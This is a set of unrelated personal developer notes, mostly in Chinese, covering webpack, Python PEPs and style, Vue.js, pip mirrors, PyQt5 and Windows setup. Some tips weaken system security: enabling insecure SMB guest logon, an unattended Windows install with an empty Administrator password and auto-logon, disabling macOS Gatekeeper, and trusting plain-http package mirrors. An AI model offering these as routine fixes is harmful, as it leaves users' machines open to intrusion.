>通过数组传入的模块,将只会生成一个 chunk。如果需要生成多个 chunk,你需要如下配置:
```
entry: {
one: './one.js',
two: './two.js',
three: './three.js'
}
```
## webpack 配置基本概念
这是一个最简单的配置文件示例:
```
var path = require('path');
module.exports = {
// 资源入口
entry: './src/index.js',
// 资源出口
output: {
filename: 'bundle.js',
path: path.resolve(__dirname, 'dist')
}
};
```
### 资源入口
代码中的 `entry` 属性,作用是告诉 webpack 从哪里开始去加载资源文件,然后以这个入口文件为基础,层层分析它的依赖模块,以及更深层次的关系,从而达到加载所有相关依赖的目的。同时,`entry` 属性还支持传入文件数组,这种方式可以一次注入多个依赖文件,可以将它们的依赖导向到一个 `chunk`(资源块),即打包到一个文件中。
```
entry: [filename, filename]
```
这里需要注意的一点,通过数组传入的模块,将只会生成一个 chunk。如果需要生成多个 chunk,你需要如下配置:
```
entry: {
one: './one.js',
two: './two.js',
three: './three.js'
}
```
### 资源出口
这里有一点需要注意,资源出口的 path 属性,应该是一个绝对路径,因为配置文件中使用了 node 的 path 模块,利用它可以帮我们生成绝对路径,此路径表示打包之后的文件应该存放在什么地方。虽然可以存在多入口配置,但是输出的配置却只能有一个。
如果配置了多入口,即多个 chunk。为了保证每个 chunk 对应的输出编译文件名的不同,你可以如下设置:
```
output: {
filename: '[name].js',
path: path.resolve(__dirname, 'dist')
}
```
设置之后,将会在/dist生成编译文件:one.js 、two.js、three.js。
加载器
加载器(loader) 是对应用程序中资源文件进行转换。它们是(运行在 Node.js 中的)函数,可以将资源文件作为参数的来源,然后返回新的资源文件。由于不同浏览器对 es6 的支持情况不同,所以往往需要将我们写的 es6 代码转为 es5,基本可以让大部分浏览器都可以正确运行。所以,当编译 js 文件时,可以添加一个 Babel 加载器处理 es6 代码。
### es6 处理器
```
npm install --save-dev babel-loader babel-core
```
#### via config
```
module:{
rules:[
{test:/\.js$/, exclude:/node_modules/, loader: "babel-loader"}
]
}
```
#### via loader
```
var Person = require("babel!./Person.js").defaule;
new Person();
```
## webpack config
```
module.exports = {
// 资源入口
entry: './src/index.js',
// 资源出口
output: {
filename: 'bundle.js',
path: path.resolve(__dirname, 'dist')
},
module: {
rules: [
{ test: /\.js$/, exclude: /node_modules/, loader: "babel-loader" }
// 此处可继续添加
]
}
};
```
<file_sep>
+ [异步 PEP-3156](https://www.python.org/dev/peps/pep-3156/)
+ [Awesome Asyncio](https://www.jianshu.com/p/4f667ecae64f)
## PEP
就像读Python标准库源代码一样,我也选择了阅读PEP来更了解Python。
PEP是Python Enhancement Proposals的缩写,翻译过来就是「Python增强建议书」。每个PEP文件可能是描述某新功能(比如asyncio模块)、信息(就是指导方针、共识等内容,比如Python之禅、Python新版本发布的时间表等)或者进程(Python开发中使用的工具、流程或者环境的更改,比如要迁移到Github,之前还提出迁到Gitlab但是被拒绝了)等。大部分情况下你可以把它当成设计文档,里面包含了技术规范和功能的基本原理说明等。
小插曲:IPython也有自己的增强建议书(Jupyter的在这里),在你的公司或者团队同样也可以有自己的EP,在豆瓣东西时我们就有自己的EPEP
全部的PEP可以在 PEP 0 -- Index of Python Enhancement Proposals (PEPs) 找到。PEP很有多类型,为了把时间花在刀刃上,也不需要所有的PEP文件都读,比如Rejected、Deferred、Superseded和Draft的。另外有些和我们学习使用Python关系不大,如新版本发布安排的,迁移项目托管平台的。每个PEP都有对应的类型(可以翻到最下面的Key小节看说明),A R D S P甚至I基本不需要看。
除了PEP8,根据我的经验给大家列一些应该(值得)阅读的:
1. PEP 333 -- Python Web Server Gateway Interface v1.0 描述WSGI协议,告诉你如何在web服务器与web应用/web框架之间的可移植的标准接口。Web开发或者你想写Web框架必看。
2. PEP 3333 -- Python Web Server Gateway Interface v1.0.1 这是更新版的PEP 333,提高了Python 3的可用性。
3. PEP 484 -- Type Hints 类型约束
4. PEP 205 -- Weak References 以前一直对weakref模块不能理解,网上也找不到什么好的说明,这篇PEP会对你有帮助的
5. PEP 0282 https://www.python.org/dev/peps/pep-0282/ 虽然logging模块的官方文档已经很全面了,不过这篇PEP还是给我新的灵感了。比如我在3年前的电影时光网的爬虫中用到的 makeLogRecord 最初就是看这篇PEP想到的。
6. PEP 309 -- Partial Function Application 如果你对偏函数理解不充分,可以看这篇的讨论
7. PEP 342 -- Coroutines via Enhanced Generators 协程和yield
8. PEP 380 -- Syntax for Delegating to a Subgenerator yield from语法
9. PEP 443 -- Single-dispatch generic functions Python 3的singledispatch装饰器
10. PEP 484 -- Type Hints https://www.python.org/dev/peps/pep-0484/
11. PEP 492 -- Coroutines with async and await syntax 协程与async/await语法
12. PEP 498 -- Literal String Interpolation Python 3.6新加的「格式化字符串字面量」,我看现在很多人都还不怎么用
13. PEP 525 -- Asynchronous Generators异步生成器
14. PEP 3101 -- Advanced String Formatting 字符串格式化
15. https://www.python.org/dev/peps/pep-3105/ 介绍为啥把print改成函数
16. PEP 3115 -- Metaclasses in Python 3000 Python3的元类
17. PEP 3119 -- Introducing Abstract Base Classes 抽象基类,不止一次看到有人用的abc模块都是错误的
18. PEP 3135 -- New Super Python 3中的super
19. PEP 3148 -- futures - execute computations asynchronously 我老提的concurrent.futures
20. PEP 3156 -- Asynchronous IO Support Rebooted: the asyncio Module 啥也不说了,asyncio模块
## 主题
1. [typing --- 类型标注支持](https://docs.python.org/zh-cn/3.7/library/typing.html)
2.
<file_sep>## UI
1. 在开始图标右键,选择应用和功能,弹出如下设置界面,点击管理可选功能
2. 选择管理可用功能,弹出管理可选功能,点击添加功能
3. 在弹出的添加功能中选择 OpenSSH 客户端
4. 安装成功后返回即可看到
## command
```powershell
Get-WindowsCapability -Online | ? Name -like 'OpenSSH*'
# This should return the following output:
Name : OpenSSH.Client~~~~0.0.1.0
State : NotPresent
Name : OpenSSH.Server~~~~0.0.1.0
State : NotPresent
# Install the OpenSSH Client
Add-WindowsCapability -Online -Name OpenSSH.Client~~~~0.0.1.0
# Install the OpenSSH Server
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
# Both of these should return the following output:
Path :
Online : True
RestartNeeded : False
```
## enter
```shell
ssh user@ip -p port
```
## 乱码
```shell
cat 加大电子科技无锡有限公司_20210825.ADF.sha256 | iconv -f GBK -t utf-8
```
```powershell
PS C:\Windows\system32> netsh firewall set icmpsetting 8
重要信息: 已成功执行命令。
但是,"netsh firewall" 已弃用;
请改用 "netsh advfirewall firewall" 。
有关使用 "netsh advfirewall firewall" 命令
而非 "netsh firewall" 的详细信息,请参阅
https://go.microsoft.com/fwlink/?linkid=121488 上的 KB 文章 947709。
确定。
```
<file_sep>教你制作macOS+Ubuntu+WindowsPE超级启动盘
https://bugprogrammer.github.io/2019/07/26/make-super-usb.html
https://www.laomaotao.net/doc/udiskwinpe.html
## Windows Linux
https://blog.csdn.net/longgyy/article/details/105892712
### 工具
1. [磁盘管理工具:Diskgenius](https://www.diskgenius.cn/)
2. 引导管理工具:BOOTICE
3. [最新版CLOVER](https://github.com/CloverHackyColor/CloverBootloader/releases)(下载zip后缀这个)
### 步骤
1. 配置 CLOVER 文件
CLOVER的配置文件在下载的CLOVER解压目录下的"EFI-CLOVER"下的config.plist里面设置。
<file_sep>win10 你不能访问此共享文件夹,因为你组织的安全策略...
此问题需要修改Win10 网络策略
按window+R键输入gpedit.msc 来启动本地组策略编辑器。
依次找到“计算机配置-管理模板-网络-Lanman工作站”这个节点,在右侧内容区可以看到“启用不安全的来宾登录”这一条策略设置。状态是“未配置”。
双击“启用不安全的来宾登录”这一条策略设置,将其状态修改为“已启用”并单击确定按钮。
设置完成再次尝试访问发现可以正常访问了。<file_sep>https://docs.djangoproject.com/en/3.2/topics/install/#installing-official-release
python -m pip install Django
python -m django --version
django-admin startproject mysite
python manage.py runserver
<file_sep>[ShellHacks - Command-Line Tips and Tricks](https://www.shellhacks.com/)
```shell
certUtil -hashfile <PATH_TO_FILE> <HASH_ALGORITHM>
certUtil -hashfile C:\file.img MD5
certUtil -hashfile C:\file.img SHA256
# Windows CMD:
C:\> CertUtil -hashfile C:\file.img MD5 | findstr /v "hash"
# Windows PowerShell:
PS C:\> $(CertUtil -hashfile C:\file.img MD5)[1] -replace " ",""
```
Available hash algorithms:
```
MD2 MD4 MD5 SHA1 SHA256 SHA384 SHA512
```
Get help:
```
C:\> certutil -hashfile -?
```
<file_sep>---
typora-root-url: answer
---
# prepare
+ cn_windows_10_business_editions_version_21h1_updated_jun_2021_x64_dvd_9d9154fa.iso
+ ADK
## 文件设置
### 1. 复制 `F:\sources\install.wim`
### 2. 打开安装好的"**Windows System Image Mannager**",下面简称“**WIM**”


### 3. 使用“**WIM**”,选择“**install.wim**”
如果提示选择版本,选择自己需要的版本,我选择的专业版“Windows 10 Pro”
其他的就点“是”或“确定”

加载后的界面,如下

### 4. 参数设置
下面我们将对自动应答文件参数进行设置



+ “zh-CN”是中文的意思,您也可以设置别的语言, en-US
+ [默认输入配置文件 (输入法区域设置) 在 Windows | Microsoft Docs](https://docs.microsoft.com/zh-cn/windows-hardware/manufacture/desktop/default-input-locales-for-windows-language-packs)
+ `UILanguageFallback` specifies the language that is used for resources that are not localized for the default system user interface (UI) (the [UILanguage](https://docs.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-international-core-uilanguage) setting).
This setting is used by Windows Setup and Windows Deployment Services.
UILanguageFallback 应该设为 en-US
+ `SetupUILanguage` defines the language to use in Windows Setup and Windows Deployment Services. `en-US`
+ `InputLocale` specifies the input language and method for input devices, such as the keyboard layout. The input locale (also called input language) is a per-process setting that describes an input language (for example, Greek) and an input method (for example, the keyboard). `en-US`
+ `UserLocale` specifies the per-user settings used for formatting dates, times, currency, and numbers in a Windows installation. `zh-CN`
+ `SystemLocale` specifies the default language to use for non-Unicode programs. `zh-CN`
+ `UILanguage` specifies the default system language to display user interface items (such as menus, dialog boxes, and help files). `zh-CN`
+ UILanguageFallback specifies the language to use for resources that are not localized for the default system user interface (UILanguage setting). `en-US`
+ “LayerDriver”是键盘种类
+ 
+ “WillShowUI”表示安装之前是否显示对话框
+ “OnError”表示有错误时显示对话框
+ “Never”表示任何情况下都不显示
+ “Always”表示每次都显示


+ “EnableFirewall”设置PE启动防火墙
+ “EnableNetwork”设置PE启动网络
+ “Restart”设置安装完成后PE进行重启
+ “UseConfigurationSet”设置安装时会停下来寻找驱动

+ “ AcceptEula”设置跳过授权协议

+ “Key”设置安装版本,我是专业版所以一定是专业版秘钥,否则后面会出错
`DNCGK-D8Q6V-VBDKC-TRPKY-R6YQB`
+ “WillShowUI”设置安装之前是否显示对话框


+ “SkipAutoActivation”设置跳过自动激活 Microsoft Windows 许可证


+ “BluetoothTaskbarIconEnabled”设置指定蓝牙图标未显示在任务栏中
+ “DisableAutoDaylightTimeSet ”设置指定计算机上的时间使用标准时间
+ “RegisteredOrganization”设置定最终用户的组织名称
+ “RegisteredOwner”设置最终用户的名称
+ “ShowWindowsLive”设置隐藏ShowWindows Live
+ “TimeZone”设置计算机的时区为中国
窗口界面语言设置


+ “Enabled”设置指定是否启用自动登录过程
+ “LogonCount”设置指定帐户的使用次数
+ “Username”设置指定用于自动登录的用户帐户名,如果管理员登录设置为“Administrator”

选择“Password”点击“Value”右键点击“写入空字符串”设置登录密码为空

安装上面的做法,把“Administrator”管理员登录密码设置为空

+ “HideEULAPage”设置隐藏Windows欢迎使用Microsoft软件许可条款页
+ “HideLocalAccountScreen”设置在OOBE期间隐藏管理员密码屏幕
+ “HideOEMRegistrationScreen”设置在OOBE期间隐藏的OEM注册页
+ “HideOnlineAccountScreens”设置在OOBE期间隐藏登录页
+ “HideWirelessSetupInOOBE”设置OOBE期间隐藏Windows欢迎屏幕
+ “NetworkLocation”设置网络为家庭网络,"Work"为工作网络
+ “ProtectYourPC”设置关闭快速设置,“2”是设置打开快速设置
+ “UnattendEnableRetailDemo”设置禁用零售演示模式下在设备上
上面就是一些基础参数的设置,这些已经可以使系统自动安装
系统安装结束后会以管理员身份运行
设置完成后,我们需要对我们的文件进行检验,查看是否有错误
检验结果会在右下角
没有错误,我们需要将文件保存下来
将文件保存为“Autounattend”的xml文件
以上就是我们创建的无人值守应答文件
<file_sep>import re
abc_1 ="0030304167/F/1/0110053039080371SR"
abc_2 ="0030249016/G//10054179410008SR"
abc_4 = """PN 1 "30249016" CR 2 "G" PY 1 "20" PW 1 "20" SN 2 "0110054179410008" MI 1 "S" RI 1 "R" """
abc_5 = "0030261636/0H/2128/0110065210150287CR0"
# print(abc[15:31])
abc_3="0000006543210123"
ff=re.findall("/(\d{16})", abc_5)
d=abc_2.split('/')[-1].split('S')[0]
print(ff)<file_sep>+ [pyvisa document](https://pyvisa.readthedocs.io/en/latest/introduction/communication.html)
+ [github code](https://github.com/pyvisa/pyvisa)
<file_sep>
## 热敏电阻
热敏电阻一般用于温控电路、供电电路的温度检测、监控。
## 节点分压
基尔霍夫电流定律 KCL 计算
<file_sep>## class 与 style 绑定
操作元素的 class 列表和内联样式是数据绑定的一个常见需求。因为它们都是属性,所以我们可以用 v-bind 处理它们:只需要通过表达式计算出字符串结果即可。不过,字符串拼接麻烦且易错。因此,在将 v-bind 用于 class 和 style 时,Vue.js 做了专门的增强。表达式结果的类型除了字符串之外,还可以是对象或数组。动态的绑定与修改。
知识点
1. 元素的 class 对象语法绑定
2. 元素的 class 数组语法绑定
3. 元素的 style 对象语法绑定
4. 元素的 style 数组语法绑定
5. 属性的自动前缀
<file_sep>
# PYTHON: GENERATORS, COROUTINES, NATIVE COROUTINES AND ASYNC/AWAIT
posted in[PYTHON](http://masnun.com/category/python) on [NOVEMBER 13, 2015](http://masnun.com/2015/11/13/python-generators-coroutines-native-coroutines-and-async-await.html) by [MASNUN](http://masnun.com/author/masnun)
SHARE
**NOTE:** This post discusses features which were mostly introduced with Python 3.4. And the native coroutines and async/await syntax came in Python 3.5. So I recommend you to use Python 3.5 to try the codes, if you don’t know [how to update python](https://blog.couchbase.com/tips-and-tricks-for-upgrading-from-python-2-to-python-3/), make sure to visit this website.
[原文](http://masnun.com/2015/11/13/python-generators-coroutines-native-coroutines-and-async-await.html)
------
### Generators
Generators are functions that **generates** values. A function usually `return`s a value and then the underlying scope is destroyed. When we call again, the function is started from scratch. It’s one time execution. But a generator function can `yield` a value and pause the execution of the function. The control is returned to the calling scope. Then we can again resume the execution when we want and get another value (if any). Let’s look at this example:
```py
def simple_gen():
yield "Hello"
yield "World"
gen = simple_gen()
print(next(gen))
print(next(gen))
```
Please notice, a generator function doesn’t directly return any values but when we call it, we get a **generator object** which is like an iterable. So we can call `next()` on a generator object to iterate over the values. Or run a `for` loop.
So how’s generators useful? Let’s say your boss has asked you to write a function to generate a sequence of number up to 100 (a super secret simplified version of `range()`). You wrote it. You took an empty list and kept adding the numbers to it and then returned the list with the numbers. But then the requirement changes and it needs to generate up to 10 million numbers. If you store these numbers in a list, you will soon run out of memory. In such situations generators come into aid. You can **generate** these numbers without storing them in a list. Just like this:
```py
def generate_nums():
num = 0
while True:
yield num
num = num + 1
nums = generate_nums()
for x in nums:
print(x)
if x > 9:
break
```
We didn’t dare run after the number hit 9. But if you try it on console, you will see how it keeps generating numbers one after one. And it does so by pausing the execution and resuming – back and forth into the function context.
**Summary:** A generator function is a function that can pause execution and generate multiple values instead of just returning one value. When called, it gives us a generator object which acts like an iterable. We can use (iterate over) the iterable to get the values one by one.
### Coroutines
In the last section we have seen that using generators we can pull data from a function context (and pause execution). What if we wanted to push some data too? That’s where coroutines comes into play. The `yield` keyword we use to pull values can also be used as an expression (on the right side of “=”) inside the function. We can use the `send()` method on a generator object to pass values back into the function. This is called “generator based coroutines”. Here’s an example:
```py
def coro():
hello = yield "Hello"
yield hello
c = coro()
print(next(c))
print(c.send("World"))
```
OK, so what’s happening here? We first take the value as usual – using the `next()` function. This comes to `yield "Hello"` and we get “Hello”. Then we send in a value using the `send()` method. It resumes the function and assigns the value we send to `hello` and moves on up to the next line and executes the statement. So we get “World” as a return value of the `send()` method.
When we’re using generator based coroutines, by the terms “generator” and “coroutine” we usually mean the same thing. Though they are not exactly the same thing, it is very often used interchangeably in such cases. However, with Python 3.5 we have `async`/`await` keywords along with native coroutines. We will discuss those later in this post.
### Async I/O and the `asyncio` module
From Python 3.4, we have the new [asyncio](https://docs.python.org/3/library/asyncio.html) module which provides nice APIs for general async programming. We can use coroutines with the asyncio module to easily do async io. Here’s an example from the official docs:
```py
import asyncio
import datetime
import random
@asyncio.coroutine
def display_date(num, loop):
end_time = loop.time() + 50.0
while True:
print("Loop: {} Time: {}".format(num, datetime.datetime.now()))
if (loop.time() + 1.0) >= end_time:
break
yield from asyncio.sleep(random.randint(0, 5))
loop = asyncio.get_event_loop()
asyncio.ensure_future(display_date(1, loop))
asyncio.ensure_future(display_date(2, loop))
loop.run_forever()
```
The code is pretty self explanatory. We create a coroutine `display_date(num, loop)` which takes an identifier (number) and an event loop and continues to print the current time. Then it used the `yield from` keyword to await results from `asyncio.sleep()` function call. The function is a coroutine which completes after a given seconds. So we pass random seconds to it. Then we use `asyncio.ensure_future()` to schedule the execution of the coroutine in the default event loop. Then we ask the loop to keep running.
If we see the output, we shall see that the two coroutines are executed concurrently. When we use `yield from`, the event loop knows that it’s going to be busy for a while so it pauses execution of the coroutine and runs another. Thus two coroutines run concurrently (but not in parallel since the event loop is single threaded).
Just so you know, `yield from` is a nice syntactic sugar for `for x in asyncio.sleep(random.randint(0, 5)): yield x` making async codes cleaner.
### Native Coroutines and `async`/`await`
Remember, we’re still using generator based coroutines? In Python 3.5 we got the new native coroutines which uses the async/await syntax. The previous function can be written this way:
```py
import asyncio
import datetime
import random
async def display_date(num, loop, ):
end_time = loop.time() + 50.0
while True:
print("Loop: {} Time: {}".format(num, datetime.datetime.now()))
if (loop.time() + 1.0) >= end_time:
break
await asyncio.sleep(random.randint(0, 5))
loop = asyncio.get_event_loop()
asyncio.ensure_future(display_date(1, loop))
asyncio.ensure_future(display_date(2, loop))
loop.run_forever()
```
Take a look at the highlighted lines. We must define a native coroutine with the `async` keyword before the `def` keyword. Inside a native coroutine, we use the `await` keyword instead of `yield from`.
### Native vs Generator Based Coroutines: Interoperability
There’s no functional differences between the Native and Generator based coroutines except the differences in the syntax. It is not permitted to mix the syntaxes. So we can not use `await` inside a generator based coroutine or `yield`/`yield from` inside a native coroutine.
Despite the differences, we can interoperate between those. We just need to add `@types.coroutine` decorator to old generator based ones. Then we can use one from inside the other type. That is we can `await` from generator based coroutines inside a native coroutine and `yield from` native coroutines when we are inside generator based coroutines. Here’s an example:
```py
import asyncio
import datetime
import random
import types
@types.coroutine
def my_sleep_func():
yield from asyncio.sleep(random.randint(0, 5))
async def display_date(num, loop, ):
end_time = loop.time() + 50.0
while True:
print("Loop: {} Time: {}".format(num, datetime.datetime.now()))
if (loop.time() + 1.0) >= end_time:
break
await my_sleep_func()
loop = asyncio.get_event_loop()
asyncio.ensure_future(display_date(1, loop))
asyncio.ensure_future(display_date(2, loop))
loop.run_forever()
```
### ABOUT THE AUTHOR
#### MASNUN
Whovian, *nix fan, open source enthusiast and passionate software craftsman. Loves music, hacking and playing urban terror.<file_sep>
## 行业要求
https://www.python.org/dev/peps/pep-0008/
## 缩进
仅使用空格,且为4个空格
## 行最大长度
行限制在最大 79 字符
折叠长行的首选方法是使用 Pyhon 支持的圆括号,方括号(brackets)和花括号(braces)内的行延续。如果需要,你可以在表达式周围增加一对额外的圆括号, 但是有时使用反斜杠看起来更好。确认恰当得缩进了延续的行。
## 空行
+ 用两行空行分割顶层函数和类的定义,类内方法的定义用单个空行分割。
+ 额外的空行可被用于(保守的(sparingly))分割一组相关函数(groups of related functions)。 在一组相关的单句中间可以省略空行。(例如.一组哑元(a set of dummy implementations))。
+ 当空行用于分割方法(method)的定义时,在`class`行和第一个方法定义之间也要有一个空行。
+ 在函数中使用空行时,请谨慎的用于表示一个逻辑段落(indicate logical sections)。 Python接受`contol-L`(即`^L`)换页符作为空格;Emacs(和一些打印工具) 视这个字符为页面分割符,因此在你的文件中,可以用他们来为相关片段(sections)分页。
## 命名规范
1. 包名、模块名、局部变量名、函数名
+ 全小写+下划线式驼峰 示例:`this_is_var`
2. 全局变量
+ 全大写+下划线式驼峰 示例:`GLOBAL_VAR`
3. 类名
+ 首字母大写式驼峰 示例:`ClassName()`
4. 变量名命名
+ 尽量体现变量的数据类型和具体意义
>+ 变量名、类名取名必须有意义,严禁用单字母
>+ 变量名不要用系统关键字,如 `dir` `type` `str` 等等
>+ 建议:bool变量一般加上前缀 `is_` 如:`is_success`
## import 顺序
+ 1、标准库 2、第三方库 3、项目本身
+ 之间用空行分隔
__不建议__
```
import sys, os
```
__建议__
```
import sys
import os
from types import StringType, ListType
```
## models 内部定义顺序
+ `All database fields`
+ `Custom manager attributes`
+ `class Meta`
+ `def str()`
+ `def save()`
+ `def get_absolute_url()`
+ `Any custom methods`
## 异常捕获处理原则
尽量只包含容易出错的位置,不要把整个函数 try catch
对于不会出现问题的代码,就不要再用 try catch了
只捕获有意义,能显示处理的异常
能通过代码逻辑处理的部分,就不要用 try catch
异常忽略,一般情况下异常需要被捕获并处理,但有些情况下异常可被忽略,只需要用 log 记录即可,可参考一下代码:
```py
def ignored():
try:
yield
except Exceptions as e:
logger.warning(e)
pass
```
## return early原则
提前判断并 return,减少代码层级,增强代码可读性(简单逻辑往前放)
```py
if not condition:
return
# a lot if code
```
## Fat model, thin view
逻辑代码和业务代码解耦分离,功能性函数以及对数据库的操作定义写在 models 里面,业务逻辑写在 view里面。
## 权限校验装饰器异常抛出问题
建议权限不足时直接抛出异常,可以使用 django 自带的:
`from django.core.exceptions import PermissionDenied`
权限不足时抛出异常 PermissionDenied,之后应该返回什么样的页面由 handler 或者中间件去处理
## 分 method 获取 request 参数问题
一般可以分method 获取request参数,这样能够使代码更可读,且之后修改 method 时不必每个参数都修改
```py
args = request.GET if request.method == "GET" else request.POST
business_name = args.get('business_name', '')
template_name = args.get('template_name', '')
```
## 使用数字、常量表示状态
两种的话改为 `true/false`,多种改为 `enum` 可读性更好
```py
def enum(**enums):
return type("Enum", (), enums)
StatusEnum = enum(
SUCCESS=True,
FAIL=False,
)
```
## Python 代码注释
方法必须使用标注注释,如果是公有方法或对外提供的 API 相关方法,则最好给出使用样例。如:
```py
def render_mako(template_name, dictionary={}, context_instance=None):
"""
render the mako template and return the HttpResponse
Args:
template_name: 模板名字
dictionary: context 字典
context_instance: 初始化context ....
Example:
render_mako('mako_temp.html', {'form': form}, RequestContext(request))
Returns:
HttpResponse
"""
```
## Module注释:
在开头要加入对该模块的注释。如:
```py
"""
summary:
usage:
```
## 其他注意问题
1. 【必须】去除代码中的 print,否则导致正式和测试环境 uwsgi 输出大量信息
2. 逻辑块空行分隔
3. 变量和其使用尽量放到一起
4. 【必须】 import过长,要放在多行的时候,使用 `from xxx import (a, b, c)`,不要用 `\` 换行
5. Django Model 定义的 choices 直接在定义在类里面
<file_sep>
# python国内镜像源
+ 清华:https://pypi.tuna.tsinghua.edu.cn/simple
+ 阿里云:http://mirrors.aliyun.com/pypi/simple/
+ 中国科技大学 https://pypi.mirrors.ustc.edu.cn/simple/
+ 华中理工大学:http://pypi.hustunique.com/
+ 山东理工大学:http://pypi.sdutlinux.org/
+ 豆瓣:http://pypi.douban.com/simple/
>note:新版ubuntu要求使用https源,要注意。
如:pip3 install -i https://pypi.doubanio.com/simple/ 包名
## 临时使用:
可以在使用pip的时候加参数-i https://pypi.tuna.tsinghua.edu.cn/simple
例如:pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pyspider,这样就会从清华这边的镜像去安装pyspider库。
pip install ipython -i http://mirrors.aliyun.com/pypi/simple/
pip install ipython -i http://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com
## 永久修改,一劳永逸:
### Linux下,
修改 ~/.pip/pip.conf (没有就创建一个文件夹及文件。文件夹要加“.”,表示是隐藏文件夹)
内容如下:
```
[global]
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
[install]
trusted-host=mirrors.aliyun.com
```
### windows下,
直接在user目录中创建一个pip目录,再新建文件pip.ini。(例如:C:\Users\WQP\pip\pip.ini)内容同上。
### Mac OS
```
~ mkdir .pip # 在家目录下创建一个.pip目录
~ cd .pip
~ touch pip.conf # 创建一个pip配置文件
# 写入配置
[global]
index-url = http://mirrors.aliyun.com/pypi/simple/
[install]
trusted-host = mirrors.aliyun.com
```
## PyQt5 install
```
pip install PyQt5
pip install pyqt5-tools
pip install PyQt5Designer
```
>mac 无法安装 PyQt5Designer
> https://build-system.fman.io/qt-designer-download 下载 PyQt5Designer 安装
在cmd中输入pyuic5,如果返回“Error: one input ui-file must be specified”说明安装成功。
>mac 中允许加载任何来源的app
在终端,输入命令行:`sudo spctl --master-disable`
在cmd中输入pyuic5,如果返回“Error: one input ui-file must be specified”说明安装成功。
### 生成Python代码
使用cmd将目录切到D盘并执行下面的命令。请自行将下面命令中的name替换成文件名,比如本例中的“HelloWorld.ui”
```
pyuic5 -o name.py name.ui
```
## 额外工具
pycharm
file-settings-tools-External Tools
添加 qt designer 工具
<file_sep>
Vue 项目中你可以用 v-model 指令在表单 `<input>`、`<textarea>` 及 `<select>` 元素上创建双向数据绑定。轻松地实现表单数据收集或绑定,提高了开发效率。它会根据控件类型自动选取正确的方法来更新元素。负责监听用户的输入事件以更新数据,并对一些极端场景进行一些特殊处理。接下来带领大家看看其基础用法。
## 知识点
+ `v-model` 指令
+ 基础用法
+ 值绑定
+ 修饰符
常用表单元素
| | |
|-|-|
|元素| |
|`input[type=*]` | 文本输入框 |
textarea|多行文本
radio|单选按钮
checkbox | 复选框
select | 选择框
>注意
+ 注意一:v-model 会忽略所有表单元素的 `value`、`checked`、`selected` 特性的初始值而总是将 Vue 实例的数据作为数据来源。直接给元素 value 赋值不会生效的,你应该通过 JavaScript 在组件的 data 选项中声明初始值。
+ 注意二:v-model 在内部使用不同的属性为不同的输入元素并抛出不同的事件,具体体现我们在表单 修饰符小节,给大家说明:
- text 和 textarea 元素使用 value 属性和 input 事件(内部监听 input 事件);
- checkbox 和 radio 使用 checked 属性和 change 事件(内部监听 change 事件);
- select 字段将 value 作为 prop 并将 change 作为事件(内部监听 change 事件)。
- >说明: change 和 input 区别就是,input 实时更新数据,change 不是实时更新。
<file_sep># vue 进阶引导
基础篇的 Vue.js 开发属于学习模式,开发方式(cdn 引入)只适合学习,并不是 Vue 在实战中应该有的样子,但是知识是一样的,开发的思维方式有一定变化。
## 知识点
+ 工程化与组件化开发引导
+ 前端路由管理(vue-router)
+ 前端数据状态管理(vuex)
+ 服务端渲染(nuxt.js)
## 工程化与组件化开发引导
Vue 的应用场景很多,很大部分用它来开发 SPA (single page web application),构建单页应用,与 React 和 Angular 一样都有自己的脚手架开发工具,Vue-cli 是 Vue 官方脚手架工具,使用 webpack 进行模块打包,实现工程化与组件化开发。如果你对前端模块化没有一点了解,可以去先学习一下 ES6 模块规范,在项目中会大量用到模块的引入或导出,如下。
```js
import Vue from "vue";
import App from "./App";
import router from "./router";
new Vue({
el: "#app",
router,
components: { App },
template: "<App/>",
});
```
vue 脚手架官网与 webpack 官网:
+ [vue-cli](https://cli.vuejs.org/zh/guide/cli-service.html)
+ [webpack](https://www.webpackjs.com/)
1. vue-cli是基于npm的,所以应该先安装node环境,通过node官网(http://nodejs.cn/)下载系统对应的`node`安装程序。
2. node安装完毕使用,npm包管理工具全局安装vue-cli
+ `npm install -g vue-cli`
3. 命令行输入vue,出现 Usage 表示安装成功
4. 使用指令生成一个 vue 应用
+ `vue init webpack appName`
5. 得到一个 Vue 项目文件
主要包括 Vue webpack 配置文件(config)、相关包文件(node_modules)、项目组件目录(src),想要了解项目文件目录的具体涵义的可以去 vue 脚手架官网了解。
重点介绍一下 src 目录下的 App.vue 单文件组件,他就是 Vue 组件化开发的重点,他可以将任何页面内容独立出来成为组件。
```html
<template>
<!-- 组件中的 template html 表达式 -->
<div class="header">
<p>{{msg}}</p>
</div>
</template>
<script>
// JavaScript 组件选项
export default {
name: "Header",
data() {
return {
msg: "hello syl",
};
},
methods: {
name() {},
},
computed: {
name() {
return this.data;
},
},
};
</script>
<style>
/* 组件css */
.header {
font-family: "Avenir", Helvetica, Arial, sans-serif;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
text-align: center;
color: #2c3e50;
margin-top: 60px;
}
</style>
```
## 前端路由管理(vue-router)
前端路由与后台路由的区别。通常我们接触到是后台路由,例如
[后台路由](https://developer.mozilla.org/en-US/docs/Web/Web_Components)
后台路由通常的业务是 api 逻辑处理和指定渲染页面。
明显的前端路由加浏览器渲染用户体验更高,后台路由加服务器渲染明显出现了较长的白屏时间和较多的页面刷新次数。
前端路由都是基于两种模式 `hash` 模式 和 `H5 history` 模式,存在兼容性问题,在 Vue 你不用担心,Vue 官方对前端路由基础模式进行了精封装,Vue Router 是 Vue.js 官方的路由管理器。它和 Vue.js 的核心深度集成,让构建 单页面应用 变得易如反掌。包含的功能有:
+ 嵌套的路由/视图表
+ 模块化的、基于组件的路由配置
+ 路由参数、查询、通配符
+ 基于 Vue.js 过渡系统的视图过渡效果
+ 细粒度的导航控制
+ 带有自动激活的 CSS class 的链接
+ HTML5 历史模式或 hash 模式,在 IE9 中自动降级
+ 自定义的滚动条行为
使用 Vue 开发 SPA ,Vue-Router 是必不可少的。
## 前端数据状态管理(vuex)
我们学习了通过 props 属性实现了父子组件数据流管理,但在开发中,往往面临的不仅仅是这么单纯的数据管理,是全局的数据管理,将数据提升到应用的顶端,让所以组件都能进行在唯一数据源做数据管理。
Vue 借鉴了 redux 和 flux 两种常用的数据流解决方案,开发了一个与 Vue 高度融合的数据流管理插件 Vuex。
